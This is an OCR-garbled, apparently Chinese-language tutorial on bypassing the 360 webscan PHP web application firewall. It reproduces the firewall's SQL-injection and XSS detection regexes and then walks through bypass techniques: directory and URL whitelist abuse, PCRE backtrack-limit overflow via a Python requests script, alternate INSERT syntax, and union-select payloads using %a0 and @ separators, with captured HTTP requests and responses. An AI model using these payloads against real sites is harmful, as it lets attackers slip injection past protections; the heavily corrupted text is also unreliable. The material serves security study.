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¥ 360safe SUHRMAMIERER, EAANAEEFELIRAISHER:

if(is_file($_SERVER[ 'DOCUMENT_ROOT'].'/360safe/360webscan.php')){

require_once($_SERVER[ 'DOCUMENT_ROOT'].'/36@safe/360webscan.php');

}
izt CHE

if(is_file($_SERVER[ 'DOCUMENT_ROOT'].'/360safe/360webscan.php’)){



require_once($_SERVER[ 'DOCUMENT_ROOT'].'/36@safe/360webscan.php');

$sql="select * from tab where id =".$ POST['id'];

echo $sql;

php_self H&ELEid
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$webscan_white_directory='admin|\/dede\/|\/install\/";

php_self FEHF adnin BEE /dede/ BYE /install/ B, ANTEFEFF

izt

1‘5% id=select * from aaa j:éé‘z

POST ftest.php HTTF/1.1 |&  HTTP/I.1200 OK

Host. debug.com Date: Sun, 16 Feb 2020 062944 GMT

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; v:72.0) Gecko/20100101 Server. Apache/2.4.39 (Wir64) OpenSSLI11.1b mod_fegidi2.3.9a mod_log_rotater] 02
Firefox/72.0 X-Powered-By: PHPIS.4.45

Accept: text/html application/xhtmi+xml application/xml; g=0.9 i *1q=0.8 Connection: close

Accept-Language: zh-CN,zh;g=0.8,zh-TW,q=07,zh-HK =0 5 en-US;4=0.3 en; ¢=0.2 Content-Type: text/html

Accept-Encoding: gzip, deflate Content-Length: 200

Content-Type: application/x-www-form-urlencodsd

Content-Length: 19 <html>



Origin: http://debug.com <body style="margin0; padding:0">

Connection: close <center><iffame width="100%" align="center" height="870" framebarder="0" scralling="no" src="360safe/360.png"></iframe > </center>
Referer: hitp://debug. com/test. php </body>
Upgrade-Insecure-Requests: 1 </html>

id=select * from aa

T:Eurlpath ZE;?_J’\_‘J]H /admin , /dede/ , /install/ ZEK;EE’Z

FPOST ftest.php/admin HTTR/1 .1 : HTTRA .1 200 0K

Host: debug.com Date: Sun, 16 Feb 2020 06:30:48 GMT

User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; rv:72.0) Gecko/20100101 Senver: Apachef2.4.39 (\Wing4) OpenSSLA1.1.10 mod_fegid/2.3.9a mod_log_rotate/1.02
Firefox/72.0 ¥-Powered-By: PHP/S.4.45

Accept: text/html application/xhtml+xml application/xml;q=0.9 image/webp **;q=0.8 Connection: close

Accept-Language: zh-CN, zh;q=0.8,zh-TW,;q=0.7 ,zh-HK; q=0.5 en-US;q=0.3 &n;q=0.2 Content-Type: text/html

Accept-Encoding: gzip, deflate Content-Length: 45

Content-Type: application/x-www-form-urlencoded

Content-Length: 19 select* from tab where id =select * from aa

Crrigin: http:/idebug. com
Connection: close

Referer: http:/fdebug.com/ftest. php
Upgrade-Insecure-Requests: 1

id=select * from aa

white url BR 8BRS
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$webscan_white_url = array('index.php' => 'm=admin', 'post.php' =>

'job=postnew&step=post', 'edit_space_info.php'=>"");

index.php?m=admin , post.php?job=postnew&step=post , edit_apace_info.php Z:J\iﬂf\

Z1

POST Itest.phpfedlt_shace_mfu php HTTP/M.1 |& HTTP/1.1 200 OK

Host: debug.com Date: Sun, 16 Feb 2020 07:06:18 GMT

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x64; n:72.0) Gecko/20100101 Senver: Apachef2.4.39 (WinE4) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
Firefox/72.0 ¥-Powered-By: PHP/S.4.45

Accept: text/html applicationfxhtml+xml application/xml; g=0.9 imagefwebp ™, q=0.8 Connection: close

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 ,zh-HIK;g=0.5 en-US;q=0.3 en;q=0.2 Content-Type: text/html
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Content-Type: application/x-www-form-urlencoded
Content-Length: 19

Crrigin: http://debug.com

Connection: closs

Referer: http:/fdebug.com/ftest.php
Upgrade-Insecure-Requests: 1

id=select * from aa

POST ftest php/index php?m=admin|HTTR/1 1

Host: debug.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; nv72.0) Gecko/20100101
Firefox/72.0

Accept: text/html application/xhtml+xml application/xml; g=0.9 imagefwebp */* q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW, q=0.7 ,zh-HIK;q=0.5 en-US;¢=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-farm-urlencoded

Content-Length: 19

Cirigin: http:/fdebug.com

Connection: close

Referer: http://debug.com/ftest.php

Upgrade-Insecure-Requests: 1

id=select * from aa

POST fest.php/post.php?job=postnewdstep=post HTTF/1 .1

Host: debug.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; n72.0) Gecko/20100101
Firefox/72.0

Accept: text/html application/xhtml+xml, application/xml; g=0.9 imags/wsbp *f*q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW,;q=0.7 zh-HK;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/sx-www-form-urlencoded

Content-Length: 19

Crigin: http:/fdebug.com

Connection: close

Referer: http://debug. comftest. php

Upgrade-Insecure-Requests: 1

id=select * from aa
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select™ from tab where id =select ™ from aa

HTTP/1.1 200 Ok
Date: Sun, 16 Feb 2020 07:15:01 GMT
Server: Apache/2.4.39 (Winb4) OpenSSL/1.1.1b mod_fegid/2.3.9a mod_log_rotate/1.02

¥-Powered-By: PHP/AS.4.45

Connection: close
Content-Type: text/html
Content-Length: 45

select* from tab where id =select* from aa

HTTRM.1 200 Ok

Date: Sun, 16 Feb 2020 07:17:25 GMT

Server: Apache/2.4.39 (WinB4) OpenSSU/1.1.1h mod_fecgid/2.3.9a mod_|log_rotate/1.02
X-Powered-By: PHP/5.4.45

Connection: close

Content-Type: text/html

Content-Length: 45

select™ from tab where id =select ™ from aa



//qget FEEAN

$getfilter = "\\b(alert\\(|confirm\\(|prompt\\()\\b|<[*>]*?
\\b(onerror|onmousemove |onload|onclick|onmouseover)\\b[*>]*?

>IN/ (8]9) [\\b(and|or)\\b(['\"\\d]+2=["\"\\d]+?|['\"a-zA-Z]+?=[ "\"a-zA-
Z1+2 | > <|\s+2[\\w]+2\\s+2\\bin\\b\\s*?\ (| \\blike\\b\\s+2[\" " 1) [\\/\\*.+?
\\VK\\/ | <\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT |UPDATE.+?SET|INSERT\\s+INTO.+?
VALUES | (SELECT | DELETE) . +?FROM| (CREATE | ALTER | DROP | TRUNCATE ) \\ s+
(TABLE | DATABASE)";

//post EEHY

$postfilter = "\\b(alert\\(|confirm\\(|prompt\\()\\b|<[~>]*?
\\b(onerror|onmousemove |onload|onclick|onmouseover)\\b[~>]*?
>[\\b(and|or)\\b(["\"\\d]+?=["\"\\d]+?|["\"a-zA-Z]+?=["\"a-zA-Z]+?|>| <|\s+?
INWT+2\\s+2\\bin\\b\\s*2\ (| \\blike\\b\\s+2[\" " 1) | \\/\\*.+2\\*\\/|
<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT |UPDATE.+?SET | INSERT\\s+INTO.+?VALUES|
(SELECT|DELETE).+?FROM| (CREATE | ALTER | DROP | TRUNCATE ) \\'s+(TABLE | DATABASE)";

//cookie AN

$cookiefilter = "\\b(and|or)\\b(['\"\\d]+2=["\"\\d]+?|['\"a-zA-Z]+?=["\"a-zA-
2142 > | <[ \s+2 [ \\w]+2\\s+2\\bin\\b\\s*?\ (| \\blike\\b\\s+?[\""]) | \\/\\*.+?
\\V\\/ | <\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT |UPDATE.+?SET|INSERT\\s+INTO.+?
VALUES | (SELECT |DELETE) .+?FROM| (CREATE | ALTER | DROP | TRUNCATE) \\ s+
(TABLE | DATABASE)";

EIFNFRATCRENN, FUETRIA PHP A PCRE BIIREBRGISHT FH b 2R


https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
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import requests

def exp():

domain = 'http://debug.com’
path = '/test.php'

url = domain + path
headers = {

"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/51.0.2704.103 Safari/537.36",

# payload = "select */*"+'a'*1000000+'*/ from aaa’
payload = "select * from aaa"

data = {"id": payload}



url = domain+path

res

requests.post(url=url, data=data, headers=headers)

if 'webscan'in res.text:

print("fobidden!\n")

exit()

print(res.text)

__main__":

if _ name__

exp()

SEERESHIR Bri=8T
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INSERT\\s+INTO.+?VALUES
insert HAEATLAAS UG
® insert into table set name = 'admin',pass = '123456'
® insert table(name,password) values('admin','123456")
® insert into table(name,password) select 'admin','123456'
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1aDB [test]
1 row
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POST #est.php HTTR/ .1

Host: debug.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; rv:72.0) Gecko/20100101
Firefox/72.0

Accept: text/htmlapplication/xhtml+xml, application/xml; g=!
Accept-Language: zh-CN zh;q=0.8 zh-TW;q=0.7 ,zh-HK; i
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Content-Length: 55

Origin: http:/fdebug.com

Connection: close

Referer: http://debug.com/test.php
Upgrade-Insecure-Requests: 1

0.9 imagefwebp "™ q=0.8

id=insert into table set name = 'admin’,pass = 123456

>

HTTR/1.1 200 OK

Date: Sun, 16 Feb 2020 13:36:24 GMT

Server: Apache/2.4.39 (WinB4) OpenSSLA.1.1b mod_fegid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/S.4.45

Connection: close

Content-Type: text/html

Content-Length: 81

select* from tab where id =insert into table set name = "admin’,pass = "123456"

POST /test.php HTTR/ 1

Host: debug.com

User-Agent: Mozilla/5.0 (Windows NT 10
Firefox/72.0

Accept: text/htmlapplication/xhtml+xml application/xml;
Accept-Language: zh-CN zh;q=0.8,zh-TW
Accept-Encoding: gzip, deflate
Content-Type: applicationfe-www-form-urlencoded
Content-Length: 55

Origin: http:/fdebug.com

Wing4; x64; v:72.0) Gecko/20100101

9. imagefwebp ™ 0.8
7 .zh-HK;q=0.5 en-US; .3.en;g=0.2

HTTP/1.1 200
Date: Sun, 16 Feb 2020 13:37:08 GMT

Server: Apache/2.4.33 (WinB4) OpenSSL1.1. 1k mod_fegid
¥-Powered-By: PHP/S.4.45

Connection: close

Content-Type: text/html

Content-Length: 81

.3.9a mod_log_rotate/1.02

select* from tab where id =insert table(name,password) values('admin’,"123456)



Connection: close
Referer: http://debug. comftest.php
Upgrade-Insecure-Requests: 1

id=insert table{name password) values(admin',"l 23455)'

POST ftest. php HTTP/1 .1 ’A HTTP/1.1 200 OK

Host: debug.com Date: Sun, 16 Feb 2020 13:37:52 GMT

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; n:72.0) Gecko/20100101 Server: Apachef2.4.39 (WinB4) OpenSSULA1.1.1b mod_fogid/2.3.9a mod_log_rotate/1.02
Firefox/72.0 X-Powered-By: PHP/5.4.45

Accept: text/htmlapplication/xhtml+xml, application/xml;q=0.9 image/webp */*q=0.8 Connection: close

Accept-Language: zh-CN zh;q=0.8 zh-TW;q=0.7 ,zh-HK;g=0.5 en-US;q=0.3 en;g=0.2 Content-Type: text/html

Accept-Encoding: gzip, deflate Content-Length: B9

Content-Type: application/x-www-form-urlencoded

Content-Length: 43 select* from tab where id =insert into table select "admin’,"123456

(Crigin: http:/fdebug.com
Connection: close

Referer: http://debug.comitest.php
Upgrade-Insecure-Requests: 1

id=insert into table select ‘admin’,'123456

%9", EE.]-L\)JEH replace into ﬂ%ﬁ% insert '—5 update , ﬁ'ﬁﬁ replace into 'H_:',ﬁiﬂ:l insert into
—HN=ME AN L —FEES EE LS,
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WEBSCAN_VERSION: 0.1.3.2

%Efﬁﬁﬁ? 360 ﬁﬁﬁﬁgﬁﬁtﬁj\i ?id=union select ’1,2,3"' %%?EE‘Z, EZ&E id = union
select!1,2,3 Z:*E&, Jn\UE_I-L\/L union éyi%’ijo

B &M
® union select!l,user(),3

® yunion select@l,user(),3



& EHUEERIEAE utf-8 MBTLAER %a0 fB4s select 5 from i&Empsed. (JRIBIAIMAE)

select%a@*%a0from%20tables



